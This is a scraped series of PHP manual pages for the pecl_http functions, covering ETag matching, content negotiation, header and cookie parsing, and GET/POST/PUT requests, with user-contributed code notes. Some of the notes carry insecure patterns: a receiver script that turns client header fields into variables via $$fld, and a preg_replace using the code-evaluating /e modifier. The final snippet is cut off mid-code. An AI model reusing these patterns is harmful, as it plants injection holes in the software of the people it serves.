Keep in mind that this function replaces all "_" characters by "-" in headers names
http_get_request_body
http_match_etag
HTTP Functions


Match ETag

http_get_request_headers
http_match_modified
HTTP Functions
PHP Manual

http_match_etag

(PECL pecl_http >= 0.1.0)

http_match_etag — Match ETag

Description

bool http_match_etag ( string $etag [, bool $for_range = false ] )

Matches the given ETag against the clients If-Match resp. If-None-Match HTTP headers.

Parameters

etag

the ETag to match

for_range

if set to TRUE, the header usually used to validate HTTP ranges will be checked

Return Values

Returns TRUE if ETag matches or the header contained the asterisk ("*"), else FALSE.

See Also

  • http_match_last_modified()
  • http_match_request_header() - Match any header
  • http_cache_etag() - Caching by ETag
  • http_cache_last_modified() - Caching by last modification
  • ob_etaghandler() - ETag output handler

User Contributed Notes

php dot net at eoasys dot com 04-Apr-2008 11:16
Regarding the 20071101 note of "root at mantoru dot de":

That solution got me started but didn't quite work for me. Apache (at least 2.x) applies an algorithm to the Last-Modified time. A solution that worked perfectly for me is at http://us3.php.net/manual/en/function.fileinode.php#78264.

Richard
root at mantoru dot de 01-Nov-2007 05:46
An Apache-like ETag can be generated like this:

<?php
function etag($filename, $quote = true) {
    if (!file_exists($filename) || !($info = stat($filename))) {
        return false;
    }
    $q = ($quote) ? '"' : '';
    return sprintf("$q%x-%x-%x$q", $info['ino'], $info['size'], $info['mtime']);
}
?>
http_get_request_headers
http_match_modified
HTTP Functions


Match last modification

http_match_etag
http_match_request_header
HTTP Functions
PHP Manual

http_match_modified

(PECL pecl_http >= 0.1.0)

http_match_modified — Match last modification

Description

bool http_match_modified ([ int $timestamp = -1 [, bool $for_range = false ]] )

Matches the given Unix timestamp against the clients If-Modified-Since resp. If-Unmodified-Since HTTP headers.

Parameters

timestamp

Unix timestamp; current time, if omitted

for_range

if set to TRUE, the header usually used to validate HTTP ranges will be checked

Return Values

Returns TRUE if timestamp represents an earlier date than the header, else FALSE.

See Also

  • http_match_etag() - Match ETag
  • http_match_request_header() - Match any header
  • http_cache_etag() - Caching by ETag
  • http_cache_last_modified() - Caching by last modification

User Contributed Notes

There are no user contributed notes for this page.
http_match_etag
http_match_request_header
HTTP Functions


Match any header

http_match_modified
http_support
HTTP Functions
PHP Manual

http_match_request_header

(PECL pecl_http >= 0.10.0)

http_match_request_header — Match any header

Description

bool http_match_request_header ( string $header , string $value [, bool $match_case = false ] )

Match an incoming HTTP header.

Parameters

header

the header name (case-insensitive)

value

the header value that should be compared

match_case

whether the value should be compared case sensitively

Return Values

Returns TRUE if header value matches, else FALSE.

See Also

  • http_match_etag() - Match ETag
  • http_match_last_modified()

User Contributed Notes

There are no user contributed notes for this page.
http_match_modified
http_support
HTTP Functions


Check built-in HTTP support

http_match_request_header
http_negotiate_charset
HTTP Functions
PHP Manual

http_support

(PECL pecl_http >= 0.15.0)

http_support — Check built-in HTTP support

Description

int http_support ([ int $feature = 0 ] )

Check for features that require external libraries.

See the feature support constants table for possible values for the feature argument.

Parameters

feature

feature to probe for

Return Values

Returns integer, whether requested feature is supported, or a bitmask with all supported features if feature was omitted.

Examples

Example #1 A http_support() example

<?php
if (!http_support(HTTP_SUPPORT_REQUESTS)) {
    die("Need HTTP request support!\n");
}
?>

User Contributed Notes

There are no user contributed notes for this page.
http_match_request_header
http_negotiate_charset
HTTP Functions


Negotiate clients preferred character set

http_support
http_negotiate_content_type
HTTP Functions
PHP Manual

http_negotiate_charset

(PECL pecl_http >= 0.1.0)

http_negotiate_charset — Negotiate clients preferred character set

Description

string http_negotiate_charset ( array $supported [, array &$result ] )

This function negotiates the clients preferred charset based on its Accept-Charset HTTP header. The qualifier is recognized and charsets without qualifier are rated highest.

Parameters

supported

array containing the supported charsets as values

result

will be filled with an array containing the negotiation results

Return Values

Returns the negotiated charset or the default charset (i.e. first array entry) if none match.

Examples

Example #1 Using http_negotiate_charset()

<?php
$charsets = array(
        'iso-8859-1', // default
        'iso-8859-2',
        'iso-8859-15',
        'utf-8'
);

$pref = http_negotiate_charset($charsets, $result);

if (strcmp($pref, 'iso-8859-1')) {
        iconv_set_encoding('internal_encoding', 'iso-8859-1');
        iconv_set_encoding('output_encoding', $pref);
        ob_start('ob_iconv_handler');
}

print_r($result);
?>

User Contributed Notes

There are no user contributed notes for this page.
http_support
http_negotiate_content_type
HTTP Functions


Negotiate clients preferred content type

http_negotiate_charset
http_negotiate_language
HTTP Functions
PHP Manual

http_negotiate_content_type

(PECL pecl_http >= 0.19.0)

http_negotiate_content_type — Negotiate clients preferred content type

Description

string http_negotiate_content_type ( array $supported [, array &$result ] )

This function negotiates the clients preferred content type based on its Accept HTTP header. The qualifier is recognized and content types without qualifier are rated highest.

Parameters

supported

array containing the supported content types as values

result

will be filled with an array containing the negotiation results

Return Values

Returns the negotiated content type or the default content type (i.e. first array entry) if none match.

Examples

Example #1 Using http_negotiate_content_type()

<?php
$content_types = array('application/xhtml+xml', 'text/html');
http_send_content_type(http_negotiate_content_type($content_types));
?>

User Contributed Notes

Vasil Rangelov 21-Sep-2007 05:18
Newer versions of this extension fix the bug from the previous note.

Still, if you want to ensure there's no match, you can use the array, as the array will remain empty.

I used this fact in the following technique to ensure good content negotiation between application/xhtml+xml and text/html, since IE sends only "*/*" and thus receives application/xhtml+xml if you use the current sample from the documentation.

<?php
$bestContentType = http_negotiate_content_type(array('application/xhtml+xml', 'text/html'),
$contentTypes);
$contentType = (empty($contentTypes) ? 'text/html' : $bestContentType);
http_send_content_type($contentType);
?>

Note that at the time of writing, Opera accepts text/html with this approach, because it places application/xhtml+xml with a lower qualifier.
Pieter van Beek 03-Jul-2007 09:38
The documentation says:

Returns the negotiated content type or the default content type (i.e. first array entry) if none match.

It would seem that in fact, this method returns the empty string or NULL if none match.
http_negotiate_charset
http_negotiate_language
HTTP Functions


Negotiate clients preferred language

http_negotiate_content_type
ob_deflatehandler
HTTP Functions
PHP Manual

http_negotiate_language

(PECL pecl_http >= 0.1.0)

http_negotiate_language — Negotiate clients preferred language

Description

string http_negotiate_language ( array $supported [, array &$result ] )

This function negotiates the clients preferred language based on its Accept-Language HTTP header. The qualifier is recognized and languages without qualifier are rated highest. The qualifier will be decreased by 10% for partial matches (i.e. matching primary language).

Parameters

supported

array containing the supported languages as values

result

will be filled with an array containing the negotiation results

Return Values

Returns the negotiated language or the default language (i.e. first array entry) if none match.

Examples

Example #1 Using http_negotiate_language()

<?php
$langs = array(
        'en-US',// default
        'fr',
        'fr-FR',
        'de',
        'de-DE',
        'de-AT',
        'de-CH',
);

include './langs/'. http_negotiate_language($langs, $result) .'.php';

print_r($result);
?>

User Contributed Notes

sh1nto at eveni dot de 08-Mar-2009 10:49
There is an typo in your function.

You should replace $languageprefix by $langprefix.

Thanks very much for that function!
Anonymous 03-Nov-2008 03:23
as I don't have this function available I tried to write it myself. Maybe useful for someone else, too.

<?php
/*
  determine which language out of an available set the user prefers most

  $available_languages        array with language-tag-strings (must be lowercase) that are available
  $http_accept_language    a HTTP_ACCEPT_LANGUAGE string (read from $_SERVER['HTTP_ACCEPT_LANGUAGE'] if left out)
*/
function prefered_language ($available_languages,$http_accept_language="auto") {
    // if $http_accept_language was left out, read it from the HTTP-Header
    if ($http_accept_language == "auto") $http_accept_language = $_SERVER['HTTP_ACCEPT_LANGUAGE'];

    // standard  for HTTP_ACCEPT_LANGUAGE is defined under
    // http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.4
    // pattern to find is therefore something like this:
    //    1#( language-range [ ";" "q" "=" qvalue ] )
    // where:
    //    language-range  = ( ( 1*8ALPHA *( "-" 1*8ALPHA ) ) | "*" )
    //    qvalue         = ( "0" [ "." 0*3DIGIT ] )
    //            | ( "1" [ "." 0*3("0") ] )
    preg_match_all("/([[:alpha:]]{1,8})(-([[:alpha:]|-]{1,8}))?" .
                   "(\s*;\s*q\s*=\s*(1\.0{0,3}|0\.\d{0,3}))?\s*(,|$)/i",
                   $http_accept_language, $hits, PREG_SET_ORDER);

    // default language (in case of no hits) is the first in the array
    $bestlang = $available_languages[0];
    $bestqval = 0;

    foreach ($hits as $arr) {
        // read data from the array of this hit
        $langprefix = strtolower ($arr[1]);
        if (!empty($arr[3])) {
            $langrange = strtolower ($arr[3]);
            $language = $langprefix . "-" . $langrange;
        }
        else $language = $langprefix;
        $qvalue = 1.0;
        if (!empty($arr[5])) $qvalue = floatval($arr[5]);

        // find q-maximal language
        if (in_array($language,$available_languages) && ($qvalue > $bestqval)) {
            $bestlang = $language;
            $bestqval = $qvalue;
        }
        // if no direct hit, try the prefix only but decrease q-value by 10% (as http_negotiate_language does)
        else if (in_array($languageprefix,$available_languages) && (($qvalue*0.9) > $bestqval)) {
            $bestlang = $languageprefix;
            $bestqval = $qvalue*0.9;
        }
    }
    return $bestlang;
}
?>
http_negotiate_content_type
ob_deflatehandler
HTTP Functions


Deflate output handler

http_negotiate_language
ob_etaghandler
HTTP Functions
PHP Manual

ob_deflatehandler

(PECL pecl_http >= 0.21.0)

ob_deflatehandler — Deflate output handler

Description

string ob_deflatehandler ( string $data , int $mode )

For use with ob_start().

Note: This output handler can only be used once.

The deflate output buffer handler can only be used once.

It conflicts with ob_gzhandler() and zlib.output_compression as well and should not be used after mbstring extension's mb_output_handler() and session extension's URL-Rewriter (AKA session.use_trans_sid).

See Also

  • ob_inflatehandler() - Inflate output handler
  • ob_start() - Turn on output buffering

User Contributed Notes

There are no user contributed notes for this page.
http_negotiate_language
ob_etaghandler
HTTP Functions


ETag output handler

ob_deflatehandler
ob_inflatehandler
HTTP Functions
PHP Manual

ob_etaghandler

(PECL pecl_http >= 0.10.0)

ob_etaghandler — ETag output handler

Description

string ob_etaghandler ( string $data , int $mode )

For use with ob_start().

Output buffer handler generating an ETag with the hash algorithm specified with the INI setting http.etag.mode.

This output handler is used by http_cache_etag().

See Also

  • http_cache_etag() - Caching by ETag
  • http_match_etag() - Match ETag

User Contributed Notes

There are no user contributed notes for this page.
ob_deflatehandler
ob_inflatehandler
HTTP Functions


Inflate output handler

ob_etaghandler
http_parse_cookie
HTTP Functions
PHP Manual

ob_inflatehandler

(PECL pecl_http >= 0.21.0)

ob_inflatehandler — Inflate output handler

Description

string ob_inflatehandler ( string $data , int $mode )

For use with ob_start().

Same restrictions as with ob_deflatehandler() apply.

See Also

  • ob_deflatehandler() - Deflate output handler
  • ob_start() - Turn on output buffering

User Contributed Notes

There are no user contributed notes for this page.
ob_etaghandler
http_parse_cookie
HTTP Functions


Parse HTTP cookie

ob_inflatehandler
http_parse_headers
HTTP Functions
PHP Manual

http_parse_cookie

(PECL pecl_http >= 0.20.0)

http_parse_cookie — Parse HTTP cookie

Description

object http_parse_cookie ( string $cookie [, int $flags [, array $allowed_extras ]] )

Parses HTTP cookies like sent in a response into a struct.

Parameters

cookie

string containing the value of a Set-Cookie response header

flags

parse flags (HTTP_COOKIE_PARSE_RAW)

allowed_extras

array containing recognized extra keys; by default all unknown keys will be treated as cookie names

Return Values

Returns a stdClass object on success or FALSE on failure.

Examples

Example #1 Using http_parse_cookie()

<?php
print_r(http_parse_cookie("foo=bar; bar=baz; path=/; domain=example.com; comment=; secure", 0, array("comment")));
?>

The above example will output:

stdClass Object
(
  [cookies] => Array
  (
    [foo] => bar
    [bar] => baz
  )

  [extras] => Array
  (
    [comment] =>
  )

  [flags] => 16
  [expires] => 0
  [path] => /
  [domain] => example.com
)

See Also

  • http_parse_headers() - Parse HTTP headers
  • http_parse_message() - Parse HTTP messages
  • http_build_cookie() - Build cookie string

User Contributed Notes

marcoigarapava at gmail dot com 06-Apr-2011 08:56
Here's a good way to get cookies from a page and then resubimit the data to that page (or acess any other page using the cookies gotten).

<?php

//SOME DATA TO POST
$postData = array
(
'user' => $login,
'pass' => $pass
);

//FIRST POST
$post1 = http_post_fields('http://example.com', $postData);

//GET THE COOKIES STORED TO THE ARRAY $cookie
preg_match('/Set-Cookie: (.*)\b/', $post1, $cookie);
$cookie = (array) http_parse_cookie($cookie[1]);
$cookie = array( 'cookies' => $cookie["cookies"]);

//POST DATA NOW WITH THE COOKIE
$post2 = http_post_fields('http://example.com', $postData, array(), $cookie);
?>
tobsn at php dot net 27-Apr-2007 08:38
alternative:
<?php

function cookie_parse( $header ) {
        $cookies = array();
        foreach( $header as $line ) {
                if( preg_match( '/^Set-Cookie: /i', $line ) ) {
                        $line = preg_replace( '/^Set-Cookie: /i', '', trim( $line ) );
                        $csplit = explode( ';', $line );
                        $cdata = array();
                        foreach( $csplit as $data ) {
                                $cinfo = explode( '=', $data );
                                $cinfo[0] = trim( $cinfo[0] );
                                if( $cinfo[0] == 'expires' ) $cinfo[1] = strtotime( $cinfo[1] );
                                if( $cinfo[0] == 'secure' ) $cinfo[1] = "true";
                                if( in_array( $cinfo[0], array( 'domain', 'expires', 'path', 'secure', 'comment' ) ) ) {
                                        $cdata[trim( $cinfo[0] )] = $cinfo[1];
                                }
                                else {
                                        $cdata['value']['key'] = $cinfo[0];
                                        $cdata['value']['value'] = $cinfo[1];
                                }
                        }
                        $cookies[] = $cdata;
                }
        }
        return $cookies;
}

function cookie_build( $data ) {
        if( is_array( $data ) ) {
                $cookie = '';
                foreach( $data as $d ) {
                        $cookie[] = $d['value']['key'].'='.$d['value']['value'];
                }
                if( count( $cookie ) > 0 ) {
                        return trim( implode( '; ', $cookie ) );
                }
        }
        return false;
}

?>

(http://www.seo-blackhat.com/article/the-cookie-backer-php.html)
ob_inflatehandler
http_parse_headers
HTTP Functions


Parse HTTP headers

http_parse_cookie
http_parse_message
HTTP Functions
PHP Manual

http_parse_headers

(PECL pecl_http >= 0.10.0)

http_parse_headers — Parse HTTP headers

Description

array http_parse_headers ( string $header )

Parses HTTP headers into an associative array.

Parameters

header

string containing HTTP headers

Return Values

Returns an array on success or FALSE on failure.

Examples

Example #1 Using http_parse_headers()

<?php
$headers = "content-type: text/html; charset=UTF-8\r\n".
  "Server: Funky/1.0\r\n".
  "Set-Cookie: foo=bar\r\n".
  "Set-Cookie: baz=quux\r\n".
  "Folded: works\r\n\ttoo\r\n";
print_r(http_parse_headers($headers));
?>

The above example will output:

Array
(
  [Content-Type] => text/html; chatset=UTF-8
  [Server] => Funky/1.0
  [Set-Cookie] => Array
  (
    [0] => foo=bar
    [1] => baz=quux
  )
  [Folded] => works
    too
)

See Also

  • http_parse_message() - Parse HTTP messages
  • http_parse_cookie() - Parse HTTP cookie

User Contributed Notes

user at example dot net 21-Aug-2007 04:45
This one works better:

<?php

    function http_parse_headers( $header )
    {
        $retVal = array();
        $fields = explode("\r\n", preg_replace('/\x0D\x0A[\x09\x20]+/', ' ', $header));
        foreach( $fields as $field ) {
            if( preg_match('/([^:]+): (.+)/m', $field, $match) ) {
                $match[1] = preg_replace('/(?<=^|[\x09\x20\x2D])./e', 'strtoupper("\0")', strtolower(trim($match[1])));
                if( isset($retVal[$match[1]]) ) {
                    $retVal[$match[1]] = array($retVal[$match[1]], $match[2]);
                } else {
                    $retVal[$match[1]] = trim($match[2]);
                }
            }
        }
        return $retVal;
    }

?>
luigi dot sexpistols at gmail dot com 07-Aug-2006 10:49
If you don't have access to the PECL library, you can use this code to parse headers contained in strings.

Note that it's probably not as robust as the PECL version, as it only parses if the headers are separated by newlines (\n). This isn't a problem in most cases, though, as the standard suggests to use \r\n as the delimiter for headers.

HTTP response code is put into 'status'.

Any suggestions welcome!

<?
function http_parse_headers($headers=false){
    if($headers === false){
        return false;
        }
    $headers = str_replace("\r","",$headers);
    $headers = explode("\n",$headers);
    foreach($headers as $value){
        $header = explode(": ",$value);
        if($header[0] && !$header[1]){
            $headerdata['status'] = $header[0];
            }
        elseif($header[0] && $header[1]){
            $headerdata[$header[0]] = $header[1];
            }
        }
    return $headerdata;
    }

$headers = "HTTP/1.1 200 OK\r\n
Date: Tue, 08 Aug 2006 05:32:01 GMT\r\n
X-Powered-By: PHP/4.4.3-dev\r\n
Data 1: Value for Data 1\r\n
Data 2: Value for Data 2\r\n
Connection: close\r\n
Content-Type: text/html\r\n";

http_parse_headers($headers);

// OUTPUT:

array(7) {
  ["status"]=>
  string(15) "HTTP/1.1 200 OK"
  ["Date"]=>
  string(29) "Tue, 08 Aug 2006 05:32:01 GMT"
  ["X-Powered-By"]=>
  string(13) "PHP/4.4.3-dev"
  ["Data 1"]=>
  string(16) "Value for Data 1"
  ["Data 2"]=>
  string(16) "Value for Data 2"
  ["Connection"]=>
  string(5) "close"
  ["Content-Type"]=>
  string(9) "text/html"
}
?>
http_parse_cookie
http_parse_message
HTTP Functions


Parse HTTP messages

http_parse_headers
http_parse_params
HTTP Functions
PHP Manual

http_parse_message

(PECL pecl_http >= 0.12.0)

http_parse_message — Parse HTTP messages

Description

object http_parse_message ( string $message )

Parses the HTTP message into a simple recursive object.

Parameters

message

string containing a single HTTP message or several consecutive HTTP messages

Return Values

Returns a hierarchical object structure of the parsed messages.

Examples

Example #1 Using http_parse_message()

<?php
define ('URL', 'http://www.example.com/');
print_r(http_parse_message(http_get(URL, array('redirect' => 3))));
?>

The above example will output something similar to:

stdClass object
(
  [type] => 2
  [httpVersion] => 1.1
  [responseCode] => 200
  [headers] => Array
  (
    [Content-Length] => 3
    [Server] => Apache
  )
  [body] => Hi!
  [parentMessage] => stdClass object
  (
    [type] => 2
    [httpVersion] => 1.1
    [responseCode] => 302
    [headers] => Array
    (
      [Content-Length] => 0
      [Location] => ...
    )
    [body] =>
    [parentMessage] => ...
  )
)

See Also

  • http_parse_headers() - Parse HTTP headers
  • the HttpMessage class

User Contributed Notes

There are no user contributed notes for this page.
http_parse_headers
http_parse_params
HTTP Functions


Parse parameter list

http_parse_message
http_persistent_handles_clean
HTTP Functions
PHP Manual

http_parse_params

(PECL pecl_http >= 1.0.0)

http_parse_params — Parse parameter list

Description

object http_parse_params ( string $param [, int $flags = HTTP_PARAMS_DEFAULT ] )

Parse parameter list.

See the params parsing constants table for possible values of the flags argument.

Parameters

param

Parameters

flags

Parse flags

Return Values

Returns parameter list as stdClass object.

Examples

Example #1 A http_parse_params() example

<?php
var_dump(http_parse_params("text/html; charset=\"utf8\""));
?>

The above example will output:

object(stdClass)#1 (1) {
  ["params"]=>
  array(2) {
    [0]=>
    string(9) "text/html"
    [1]=>
    array(1) {
      ["charset"]=>
      string(4) "utf8"
    }
  }
}

See Also

  • http_parse_headers() - Parse HTTP headers
  • http_parse_cookie() - Parse HTTP cookie
  • http_parse_message() - Parse HTTP messages

User Contributed Notes

There are no user contributed notes for this page.
http_parse_message
http_persistent_handles_clean
HTTP Functions


Clean up persistent handles

http_parse_params
http_persistent_handles_count
HTTP Functions
PHP Manual

http_persistent_handles_clean

(PECL pecl_http >= 1.5.0)

http_persistent_handles_clean — Clean up persistent handles

Description

string http_persistent_handles_clean ([ string $ident ] )

Clean up (close) persistent handles, optionally identified with ident.

Parameters

clean

the identification string

Return Values

No value is returned.

See Also

  • http_persistent_handles_ident() - Get/set ident of persistent handles
  • http_persistent_handles_count() - Stat persistent handles

User Contributed Notes

There are no user contributed notes for this page.
http_parse_params
http_persistent_handles_count
HTTP Functions


Stat persistent handles

http_persistent_handles_clean
http_persistent_handles_ident
HTTP Functions
PHP Manual

http_persistent_handles_count

(PECL pecl_http >= 1.5.0)

http_persistent_handles_count — Stat persistent handles

Description

object http_persistent_handles_count ( void )

List statistics about persistent handles usage.

Parameters

Return Values

Returns persistent handles statistics as stdClass object on success or FALSE on failure.

Examples

Example #1 A http_persistent_handles_count() example

<?php
print_r(http_persistent_handles_count());
?>

The above example will output:

stdClass Object
(
    [http_request] => Array
        (
            [GLOBAL] => Array
                (
                    [used] => 0
                    [free] => 1
                )

        )

    [http_request_datashare] => Array
        (
            [GLOBAL] => Array
                (
                    [used] => 1
                    [free] => 0
                )

        )

    [http_request_pool] => Array
        (
        )

)

See Also

  • http_persistent_handles_ident() - Get/set ident of persistent handles
  • http_persistent_handles_clean() - Clean up persistent handles

User Contributed Notes

There are no user contributed notes for this page.
http_persistent_handles_clean
http_persistent_handles_ident
HTTP Functions


Get/set ident of persistent handles

http_persistent_handles_count
http_get
HTTP Functions
PHP Manual

http_persistent_handles_ident

(PECL pecl_http >= 1.5.0)

http_persistent_handles_ident — Get/set ident of persistent handles

Description

string http_persistent_handles_ident ([ string $ident ] )

Query or define the ident of persistent handles.

Parameters

ident

the identification string

Return Values

Returns the prior ident as string on success or FALSE on failure.

Examples

Example #1 A http_persistent_handles_ident() example

<?php
echo http_persistent_handles_ident("CUSTOM"), "\n";
echo http_persistent_handles_ident("MyApp1"), "\n";
http_get("http://www.example.com/");
print_r(http_persistent_handles_count());
?>

The above example will output:

GLOBAL
CUSTOM
stdClass Object
(
[http_request] => Array
(
[MyApp1] => Array
(
[used] => 0
[free] => 1
)

)

[http_request_datashare] => Array
(
[GLOBAL] => Array
(
[used] => 1
[free] => 0
)

)

[http_request_pool] => Array
(
)

)

See Also

  • http_persistent_handles_count() - Stat persistent handles
  • http_persistent_handles_clean() - Clean up persistent handles

User Contributed Notes

There are no user contributed notes for this page.
http_persistent_handles_count
http_get
HTTP Functions


Perform GET request

http_persistent_handles_ident
http_head
HTTP Functions
PHP Manual

http_get

(PECL pecl_http >= 0.1.0)

http_get — Perform GET request

Description

string http_get ( string $url [, array $options [, array &$info ]] )

Performs an HTTP GET request on the supplied url.

See the full list of request options.

Parameters

url

URL

options

request options

info

Will be filled with request/response information

Return Values

Returns the HTTP response(s) as string on success, or FALSE on failure.

Examples

Example #1 A http_get() example

<?php
$response = http_get("http://www.example.com/", array("timeout"=>1), $info);
print_r($info);
?>

The above example will output:

array (
  'effective_url' => 'http://www.example.com/',
  'response_code' => 302,
  'connect_code' => 0,
  'filetime' => -1,
  'total_time' => 0.212348,
  'namelookup_time' => 0.038296,
  'connect_time' => 0.104144,
  'pretransfer_time' => 0.104307,
  'starttransfer_time' => 0.212077,
  'redirect_time' => 0,
  'redirect_count' => 0,
  'size_upload' => 0,
  'size_download' => 218,
  'speed_download' => 1026,
  'speed_upload' => 0,
  'header_size' => 307,
  'request_size' => 103,
  'ssl_verifyresult' => 0,
  'ssl_engines' =>
  array (
    0 => 'dynamic',
    1 => 'cswift',
    2 => 'chil',
    3 => 'atalla',
    4 => 'nuron',
    5 => 'ubsec',
    6 => 'aep',
    7 => 'sureware',
    8 => '4758cca',
  ),
  'content_length_download' => 218,
  'content_length_upload' => 0,
  'content_type' => 'text/html',
  'httpauth_avail' => 0,
  'proxyauth_avail' => 0,
  'num_connects' => 1,
  'os_errno' => 0,
  'error' => '',
)

User Contributed Notes

php at dav7 dot net 27-Mar-2008 03:23
[Moderators: This is not a bug report :P]

If you're using $data = http_get('http://...'); to get your message and you're getting weird numbers in it, PLEASE see tac at smokescreen dot org's message below!

Note that the body element http_parse_message returns is NOT the page's contents of the <body> tag! It's just the page content as seen by a browser, what wget would retrieve, what file_get_contents('http://...') would output, etc.

-dav7
tjerk dot meesters at muvee dot com 13-Dec-2006 08:16
To change the request protocol use the option "protocol". The allowed values are:
* HTTP_VERSION_NONE  (integer)

* HTTP_VERSION_1_0 (integer)

* HTTP_VERSION_1_1 (integer)
tac at smokescreen dot org 10-Nov-2006 06:41
The hard work of parsing out the response is done in http_parse_message().

To replace the relatively weak file_get_contents(), using

$body = http_parse_message(http_get($url))->body;

The advantages to using http_get include getting back headers and controlling timeouts.
http_persistent_handles_ident
http_head
HTTP Functions


Perform HEAD request

http_get
http_post_data
HTTP Functions
PHP Manual

http_head

(PECL pecl_http >= 0.1.0)

http_head — Perform HEAD request

Description

string http_head ( string $url [, array $options [, array &$info ]] )

Performs an HTTP HEAD request on the supplied url.

See the full list of request options.

Parameters

url

URL

options

request options

info

Request/response information

Return Values

Returns the HTTP response(s) as string on success, or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
http_get
http_post_data
HTTP Functions


Perform POST request with pre-encoded data

http_head
http_post_fields
HTTP Functions
PHP Manual

http_post_data

(PECL pecl_http >= 0.1.0)

http_post_data — Perform POST request with pre-encoded data

Description

string http_post_data ( string $url , string $data [, array $options [, array &$info ]] )

Performs an HTTP POST request on the supplied url.

See the full list of request options.

Parameters

url

URL

data

String containing the pre-encoded post data

options

request options

info

Request/response information

Return Values

Returns the HTTP response(s) as string on success, or FALSE on failure.

User Contributed Notes

yoder2 at purdue dot edu 17-May-2007 04:27
See the "superglobal" arrays $_POST['varname] and $_REQUEST['varname'] for how to access Post variables.

http://www.php.net/manual/en/language.variables.predefined.php
#language.variables.superglobals

(had to break the URL so I could post it.)
http_head
http_post_fields
HTTP Functions


Perform POST request with data to be encoded

http_post_data
http_put_data
HTTP Functions
PHP Manual

http_post_fields

(PECL pecl_http >= 0.10.0)

http_post_fields — Perform POST request with data to be encoded

Description

string http_post_fields ( string $url , array $data [, array $files [, array $options [, array &$info ]]] )

Performs an HTTP POST request on the supplied url.

See the full list of request options.

Parameters

url

URL

data

Associative array of POST values

files

Array of files to post

options

request options

info

Request/response information

Return Values

Returns the HTTP response(s) as string on success, or FALSE on failure.

Examples

Example #1 A http_post_fields() example

<?php
$fields = array(
    'name' => 'mike',
    'pass' => 'se_ret'
);
$files = array(
    array(
        'name' => 'uimg',
        'type' => 'image/jpeg',
        'file' => './profile.jpg',
    )
);

$response = http_post_fields("http://www.example.com/", $fields, $files);
?>

User Contributed Notes

dionmagnus at yandex dot ru 19-Feb-2010 04:11
Hear is an axmaple how to arrays as POST varibles:
<?php

  $response = http_post_fields('http://example.com/page.php',
                                array('val[0]'=>'val1', 'val[1]'=>'val2'));

  echo "\$response: $response\n";

?>
ya at kirilloid dot ru 02-Mar-2008 07:59
comment to wormholio's answer:
if you use regular expression, then use it fully:
"/HTTP\/\d\.\d 302 Found/"
Some servers still can use HTTP 1.0
wormholio at gmail dot com 28-Jan-2008 07:32
To use POST to submit a form to a site which requires a cookie for authentication you put the cookie in the $options array.  Example:

<?php

$auth="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";

$form_url="http://pirates.spy-hill.net/forum_reply.php?thread=663";

$message  = "RoboCodeDwarf now has the gold. \n\n";
$message .= "RoboCodeDwarf sez: [quote] " . `fortune -s` . "[/quote]\n";

$form_fields = array(
                     'content' => $message,
                     'add_signature' => 'add_it',
                     'submit' => 'Post reply'  );
$form_files=array();
$form_options=array( 'cookies' => array( 'auth' => $auth ) );

$response = http_post_fields($form_url, $form_fields, $form_files, $form_options );

$n = preg_match("/HTTP\/1.1 302 Found/", $response, $matches);
if($n<1) echo "FAILED\n";
 else    echo "POSTED\n";

?>
thomasxholder at compuserve dot de 07-Jan-2007 03:21
It was hard to figure out how to actually post files with this function. The "Array of files to post" is an array of associative arrays, each need the keys "name", "type" and "file". Consider this example code:

<?php
$files = array(
    array(
        'name' => 'somename',
        'type' => 'text/plain',
        'file' => $filename
    )
);
$http_response = http_post_fields($url, $data, $files);
?>
http_post_data
http_put_data
HTTP Functions


Perform PUT request with data

http_post_fields
http_put_file
HTTP Functions
PHP Manual

http_put_data

(PECL pecl_http >= 0.25.0)

http_put_data — Perform PUT request with data

Description

string http_put_data ( string $url , string $data [, array $options [, array &$info ]] )

Performs an HTTP PUT request on the supplied url.

See the full list of request options.

Parameters

url

URL

data

PUT request body

options

request options

info

Request/response information

Return Values

Returns the HTTP response(s) as string on success, or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
http_post_fields
http_put_file
HTTP Functions


Perform PUT request with file

http_put_data
http_put_stream
HTTP Functions
PHP Manual

http_put_file

(PECL pecl_http >= 0.10.0)

http_put_file — Perform PUT request with file

Description

string http_put_file ( string $url , string $file [, array $options [, array &$info ]] )

Performs an HTTP PUT request on the supplied url.

See the full list of request options.

Parameters

url

URL

file

The file to put

options

request options

info

Request/response information

Return Values

Returns the HTTP response(s) as string on success, or FALSE on failure.

User Contributed Notes

D&#39;n Russler d_n att CatchMedia dott com 30-Aug-2010 04:13
After much frustration and very little documentation that I could find, I thought I'd offer this example of implementation of http_put_file with custom HTTP headers, and the corresponding ReceiveFile.php.

I do an http put with a customized header containing parameters for file processing.

<?php
      $header = array(
                  'file_size'   => $file_size
                , 'file_name'   => $file_name
                , 'md5sum'      => $md5sum
              );

      $URI = 'http://MyDomain.com/ReceiveFile.php';

      if (($f = @fopen($URI,'r'))) {
        fclose($f);
        if ($result = @http_put_file($URI, $file_path, array(
                    headers => array(
                           'X_CUSTOM_PUT_JSON'  => json_encode($header)
                          ,'X_FRUIT'     => 'bananna'
                        )
                  , useragent => 'Magic UnitTests'
                 )
                , $info))) {
          echo str_replace("\n",'<BR>',$result);
        }
        else
           echo 'http failure';
     }
     else
        echo "Can't find URI: [$URI]";
?>

ReceiveFile.php has:
<?php
      $CUSTOM_HEADER = 'HTTP_X_CUSTOM_PUT_JSON';
      $CHUNK = 8192;

      try {
        if (!($putData = fopen("php://input", "r")))
          throw new Exception ("Can't get PUT data.");

        if (!(array_key_exists($CUSTOM_HEADER, $_SERVER)))
          throw new Exception ("Custom header missing.")

        $json = json_decode($_SERVER[$CUSTOM_HEADER], true);
        $this->logParams(__FUNCTION__, $json);
        foreach ($json as $fld => $val)
          $$fld = $val;

    // now the params can be used like any other variable
    // see below after input has finished

        $tot_write = 0;

      // Create a temp file
        if (!($tmpFileName = tempnam("/tmp", "PUT_FILE_")))
          throw new Exception ("Can't create tmp file.");

      // Open the file for writing
        if (!($fp = fopen($tmpFileName, "w")))
          throw new Exception ("Can't write to tmp file");

      // Read the data a chunk at a time and write to the file
        while ($data = fread($putData, $CHUNK)) {
          $chunk_read = strlen($data);
          if (($block_write = fwrite($fp, $data)) != $chunk_read)
            throw new Exception ("Can't write more to tmp file");

          $tot_write += $block_write;
        }

        if ( ! fclose($fp) )
          throw new Exception ("Can't close tmp file");

        unset($putData);

  // Check file length and MD5
        if ($tot_write != $file_size)
          throw new Exception ("Wrong file size");

